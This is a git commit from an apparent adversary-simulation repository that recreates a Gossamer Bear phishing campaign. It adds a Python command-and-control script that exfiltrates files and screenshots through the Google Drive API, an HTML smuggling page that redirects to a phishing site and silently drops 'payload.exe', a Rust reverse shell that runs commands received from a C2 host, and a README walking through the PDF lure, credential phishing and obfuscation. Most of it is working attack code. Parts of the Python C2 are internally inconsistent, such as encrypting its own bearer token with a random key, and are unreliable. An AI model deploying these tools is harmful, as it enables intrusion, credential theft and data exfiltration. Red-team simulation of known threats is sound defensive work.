mirror of
https://github.com/S3N4T0R-0X0/APTs-Adversary-Simulation.git
synced 2026-08-04 09:41:40 +02:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,174 @@
|
||||
# This script integrates Google Drive API functionality to facilitate communication between the compromised system and the attacker-controlled server, thereby potentially hiding the traffic within legitimate Google Drive communication.
|
||||
|
||||
# This C2 is for simulation only and is still under development
|
||||
# pip install -r requirements.txt
|
||||
# python3 GoogleDrive-C2.py
|
||||
# Author: S3N4T0R
|
||||
# Date: 2024-6-4
|
||||
|
||||
# Disclaimer: it's essential to note that this script is for educational purposes only, and any unauthorized use of it could lead to legal consequences.
|
||||
|
||||
|
||||
print('''\033[94m
|
||||
##### ###### ##### #####
|
||||
# # #### #### #### # ###### # # ##### # # # ###### # # # #
|
||||
# # # # # # # # # # # # # # # # # # #
|
||||
# #### # # # # # # ##### # # # # # # # ##### ##### # #####
|
||||
# # # # # # # ### # # # # ##### # # # # # #
|
||||
# # # # # # # # # # # # # # # # # # # # #
|
||||
##### #### #### #### ###### ###### ###### # # # ## ###### ##### #######
|
||||
\033[0m''')
|
||||
|
||||
# Importing necessary libraries
|
||||
import subprocess
|
||||
import time
|
||||
import socket
|
||||
import base64
|
||||
import os
|
||||
import pyautogui
|
||||
from pyvirtualdisplay import Display
|
||||
import random
|
||||
import shutil
|
||||
import requests
|
||||
from Crypto.Cipher import ARC4
|
||||
import secrets
|
||||
|
||||
|
||||
BLUE = '\033[94m'
|
||||
GREEN = '\033[92m'
|
||||
RED = '\033[91m'
|
||||
YELLOW = '\033[93m'
|
||||
RESET = '\033[0m'
|
||||
|
||||
|
||||
def generate_random_key(length):
|
||||
return secrets.token_bytes(length)
|
||||
|
||||
|
||||
def get_attacker_info():
|
||||
attacker_ip = input("[+] Enter the IP for the reverse shell: ")
|
||||
return attacker_ip
|
||||
|
||||
# Function to encrypt access token using RC4
|
||||
def encrypt_access_token(token, key_length):
|
||||
key = generate_random_key(key_length)
|
||||
# RC4 encryption
|
||||
cipher = ARC4.new(key)
|
||||
encrypted_token = cipher.encrypt(token.encode())
|
||||
return base64.b64encode(encrypted_token).decode()
|
||||
|
||||
|
||||
def main():
|
||||
try:
|
||||
|
||||
access_token = input("[+] Enter your Google Drive API access token: ")
|
||||
ip = get_attacker_info()
|
||||
port = input("[+] Enter the port number for the reverse shell and ngrok: ")
|
||||
key_length = int(input("[+] Enter the length of the RC4 key (in bytes): "))
|
||||
|
||||
print(GREEN + "[*] Starting ngrok tunnel..." + RESET)
|
||||
# Starting ngrok tunnel
|
||||
ngrok_process = subprocess.Popen(['ngrok', 'tcp', port])
|
||||
time.sleep(3)
|
||||
|
||||
# Encrypting access token
|
||||
access_token_encrypted = encrypt_access_token(access_token, key_length)
|
||||
|
||||
# Defining headers for Google Drive API
|
||||
headers = {
|
||||
"Authorization": f"Bearer {access_token_encrypted}",
|
||||
"Content-Type": "application/json",
|
||||
"User-Agent": "GoogleDrive-API-Client/1.0",
|
||||
"Connection": "keep-alive",
|
||||
"Accept-Encoding": "gzip, deflate, br",
|
||||
"Accept-Language": "en-US,en;q=0.9"
|
||||
}
|
||||
|
||||
# Creating socket
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.bind((ip, int(port)))
|
||||
s.listen(1)
|
||||
print(YELLOW + "[!] Waiting for incoming connection..." + RESET)
|
||||
client_socket, addr = s.accept()
|
||||
|
||||
# Starting shell
|
||||
shell = subprocess.Popen(['/bin/bash', '-i'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
|
||||
|
||||
# Starting display
|
||||
display = Display(visible=0, size=(800, 600))
|
||||
display.start()
|
||||
|
||||
|
||||
while True:
|
||||
command = input(RED + "Enter a command to execute (or type 'exit' to quit): " + RESET)
|
||||
if command.lower() == "exit":
|
||||
break
|
||||
|
||||
time.sleep(random.uniform(1, 5))
|
||||
|
||||
result = subprocess.run(command, shell=True, capture_output=True, text=True)
|
||||
stdout = result.stdout
|
||||
stderr = result.stderr
|
||||
|
||||
client_socket.send(command.encode())
|
||||
client_socket.send(stdout.encode())
|
||||
client_socket.send(stderr.encode())
|
||||
|
||||
if command.lower() == "screen":
|
||||
screen = pyautogui.screenshot()
|
||||
screen_data = base64.b64encode(screen.tobytes()).decode('utf-8')
|
||||
|
||||
client_socket.send(screen_data.encode())
|
||||
|
||||
while True:
|
||||
try:
|
||||
screen = pyautogui.screenshot()
|
||||
screen_data = base64.b64encode(screen.tobytes()).decode('utf-8')
|
||||
|
||||
client_socket.send(screen_data.encode())
|
||||
|
||||
time.sleep(0.1)
|
||||
except KeyboardInterrupt:
|
||||
print("\nScreen session ended.")
|
||||
break
|
||||
|
||||
elif command.lower() == "upload":
|
||||
file_path = input("Enter the path of the file to upload: ")
|
||||
file_name = os.path.basename(file_path)
|
||||
with open(file_path, "rb") as f:
|
||||
file_data = f.read()
|
||||
url = "https://www.googleapis.com/upload/drive/v3/files?uploadType=media"
|
||||
response = requests.post(url, headers=headers, data=file_data)
|
||||
client_socket.send(response.text.encode())
|
||||
|
||||
elif command.lower() == "download":
|
||||
file_path = input("Enter the path of the file to download: ")
|
||||
url = f"https://www.googleapis.com/drive/v3/files/{file_path}?alt=media"
|
||||
response = requests.get(url, headers=headers)
|
||||
with open(os.path.basename(file_path), "wb") as f:
|
||||
f.write(response.content)
|
||||
client_socket.send("File downloaded successfully.".encode())
|
||||
|
||||
elif command.lower() == "list_files":
|
||||
url = "https://www.googleapis.com/drive/v3/files"
|
||||
response = requests.get(url, headers=headers)
|
||||
client_socket.send(response.text.encode())
|
||||
|
||||
else:
|
||||
client_socket.send(stdout.encode())
|
||||
client_socket.send(stderr.encode())
|
||||
|
||||
|
||||
client_socket.close()
|
||||
s.close()
|
||||
display.stop()
|
||||
|
||||
|
||||
ngrok_process.terminate()
|
||||
|
||||
except Exception as e:
|
||||
print(RED + f"Error: {e}" + RESET)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
||||
@@ -0,0 +1,35 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Open url</title>
|
||||
</head>
|
||||
<body>
|
||||
<script>
|
||||
// Redirect to phishing url
|
||||
window.location.href = "https://www.phishing.com/";
|
||||
|
||||
function base64ToArrayBuffer(base64) {
|
||||
var binary_string = window.atob(base64);
|
||||
var len = binary_string.length;
|
||||
var bytes = new Uint8Array(len);
|
||||
for (var i = 0; i < len; i++) {
|
||||
bytes[i] = binary_string.charCodeAt(i);
|
||||
}
|
||||
return bytes.buffer;
|
||||
}
|
||||
|
||||
var file = 'Your base64 string here';
|
||||
var data = base64ToArrayBuffer(file);
|
||||
var blob = new Blob([data], {type: 'octet/stream'});
|
||||
var fileName = 'payload.exe';
|
||||
var a = document.createElement('a');
|
||||
document.body.appendChild(a);
|
||||
a.style = 'display: none;';
|
||||
var url = window.URL.createObjectURL(blob);
|
||||
a.href = url;
|
||||
a.download = fileName;
|
||||
a.click();
|
||||
window.URL.revokeObjectURL(url);
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,106 @@
|
||||
# Gossamer Bear APT Adversary Simulation
|
||||
|
||||
This is a simulation of attack by (Gossamer Bear) APT group targeting Institutions logistics support and defense to Ukraine the attack campaign was active from April 2023,
|
||||
The attack chain starts with send message with either an attached PDF file or a link to a PDF file hosted on a cloud storage platform. The PDF file will be unreadable, with a prominent button purporting to enable reading the content, Pressing the button in a PDF lure causes the default browser to open a link embedded in the PDF file code this is the beginning of the redirection chain. Targets will likely see a web page titled “Docs” in the initial page opened and may be presented with a CAPTCHA to solve before continuing the redirection. The browsing session will end showing a sign-in screen to the account where the spear-phishing email was received, with the targeted email already appearing in the username field. I relied on microsoft tofigure out the details to make this simulation: https://www.microsoft.com/en-us/security/blog/2023/12/07/star-blizzard-increases-sophistication-and-evasion-in-ongoing-attacks/
|
||||
|
||||
|
||||

|
||||
|
||||
This attack included several stages including creating a PDF file and placing a hyperlink inside it. The PDF file will be unreadable, with a prominent button intended to enable reading the content, Pressing the button in the PDF file causes the default browser to open a link to a fake page that steals the target's Credential, From the same PDF I also made it possible for me to get Command and Control.
|
||||
|
||||
1. PDF file: created PDF file includes a Hyperlink that leads to a fake page that steals Credential.
|
||||
|
||||
2. HTML Smuggling: it was used to open the URL of the credentials phishing page and also to install the payload.
|
||||
|
||||
3. Now when you click the prominent button in the PDF file it launches the html smuggling file on the apache server which contains payload in base64 encod and the phishing link.
|
||||
|
||||
4. Data exfiltration: over GoogleDrive API C2 Channe, This integrates GoogleDrive API functionality to facilitate communication between the compromised system and the attacker-controlled server thereby potentially hiding the traffic within legitimate GoogleDrive communication.
|
||||
|
||||
5. Make simple reverse shell payload to creates a TCP connection to a command and control (C2) server and listens for commands to execute on the target machine.
|
||||
|
||||
6. The final step in this process involves the execution of the final payload, After it was downloaded through an obfuscated HTML file with base64 encoding and a phishing link was opened.
|
||||
|
||||

|
||||
|
||||
|
||||
## The first stage (delivery technique)
|
||||
|
||||
First the attackers created PDF file includes a Hyperlink that leads to a fake page that steals Credential, The advantage of the hyperlink is that it does not appear in texts, and this is exactly what the attackers wanted to exploit.
|
||||
|
||||

|
||||
|
||||
|
||||
HTML Smuggling it was used to open the URL of the credentials phishing page and also to create an install for payload to get Command and Control,
|
||||
After that i will place the HTML file in the apache server, take the localhost and place it as a hyperlink in the prominent button in the PDF file.
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
## The second stage (implanting technique)
|
||||
|
||||
Now i will place the phishing link inside the HTML file in addition to the payload through base64 inside the HTML file, In this simulation i used the PyPhisher tool.
|
||||
|
||||
PyPhisher: https://github.com/KasRoudra2/PyPhisher.git
|
||||
|
||||
`base64 payload.exe`
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
After that i will obfuscate the html file after putting the phishing link and the payload inside it before putting it in the apache server
|
||||
|
||||
I used wmtips to make obfuscation for the html file : https://www.wmtips.com/tools/html-obfuscator/#google_vignette
|
||||
|
||||

|
||||
|
||||
|
||||
## The third stage (execution technique)
|
||||
Now when i click the prominent button in the PDF file it launches the html smuggling file on the apache server which contains payload in base64 encod and the phishing link.
|
||||
|
||||

|
||||
|
||||
## The fourth stage (Data Exfiltration) over GoogleDrive API C2 Channe
|
||||
|
||||
In the actual attack, the attackers did not use an actual c2 server or payload and limited themselves to spear phishing, but here I wanted to exploit the presence of a larger HTML file to download the payload and open malicious url.
|
||||
|
||||
First i need to create a google Drive account, as shown in the following figure
|
||||
|
||||
1. Log into the Google Cloud Platform
|
||||
2. Create a project in Google Cloud Platform dashboard
|
||||
3. Enable Google Drive API
|
||||
4. Create a Google Drive API key
|
||||
|
||||

|
||||
|
||||
I used the GoogleDrive C2 (Command and Control) API as a means to establish a communication channel between the payload and the attacker's server, By using GoogleDrive as a C2 server, i can hide the malicious activities among the legitimate traffic to GoogleDrive, making it harder for security teams to detect the threat.
|
||||
|
||||
|
||||

|
||||
|
||||
## The fifth stage (payload with reverse shell)
|
||||
|
||||
This payload is a simple reverse shell written in Rust it creates a TCP connection to a command and control (C2) server and listens for commands to execute on the infected machine, the payload first sets up the IP address and port number of the C2 server.
|
||||
|
||||
When a command is received, it is executed using the cmd command in Windows. The output of the command is captured and sent back to the C2 server, the loop continues until the connection is closed by the C2 server or an error occurs while receiving data from the server.
|
||||
|
||||

|
||||
|
||||
|
||||
## Final result: payload connect to GoogleDrive C2 server
|
||||
|
||||
The final step in this process involves the execution of the final payload, After it was downloaded through an obfuscated HTML file with base64 encoding and a phishing link was opened.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
https://github.com/S3N4T0R-0X0/Gossamer-Bear-APT/assets/121706460/a4c96a49-7ab6-4665-ad4d-2b80faf646ec
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Binary file not shown.
@@ -0,0 +1,54 @@
|
||||
//manual compile: rustc --target=x86_64-pc-windows-gnu payload.rs
|
||||
|
||||
use std::net::TcpStream;
|
||||
use std::io::{Read, Write};
|
||||
use std::process::{Command, Stdio};
|
||||
|
||||
fn main() {
|
||||
// Change the IP address and port to match your C2 server
|
||||
let server_ip = "192.168.1.1";
|
||||
let server_port = "4444";
|
||||
|
||||
// Connect to the C2 server
|
||||
let mut stream = match TcpStream::connect(format!("{}:{}", server_ip, server_port)) {
|
||||
Ok(stream) => stream,
|
||||
Err(e) => {
|
||||
eprintln!("Failed to connect to the server: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
// Receive commands from the server and execute them
|
||||
loop {
|
||||
let mut command_buffer = [0; 512];
|
||||
match stream.read(&mut command_buffer) {
|
||||
Ok(n) => {
|
||||
if n == 0 {
|
||||
// Connection closed by the server
|
||||
println!("Connection closed by the server.");
|
||||
break;
|
||||
}
|
||||
let command = String::from_utf8_lossy(&command_buffer[..n]);
|
||||
println!("Received command: {}", command);
|
||||
|
||||
// Execute the command
|
||||
let output = Command::new("cmd")
|
||||
.arg("/C")
|
||||
.arg(command.trim())
|
||||
.stdout(Stdio::piped())
|
||||
.stderr(Stdio::piped())
|
||||
.output()
|
||||
.expect("Failed to execute command.");
|
||||
|
||||
// Send the command output back to the server
|
||||
stream.write_all(&output.stdout).expect("Failed to send output to server.");
|
||||
stream.write_all(&output.stderr).expect("Failed to send error output to server.");
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("Failed to receive data from the server: {}", e);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,6 @@
|
||||
pyautogui==0.9.53
|
||||
pyvirtualdisplay==2.2
|
||||
requests==2.26.0
|
||||
cryptography==36.0.0
|
||||
secrets==1.0.2
|
||||
|
||||
Reference in New Issue
Block a user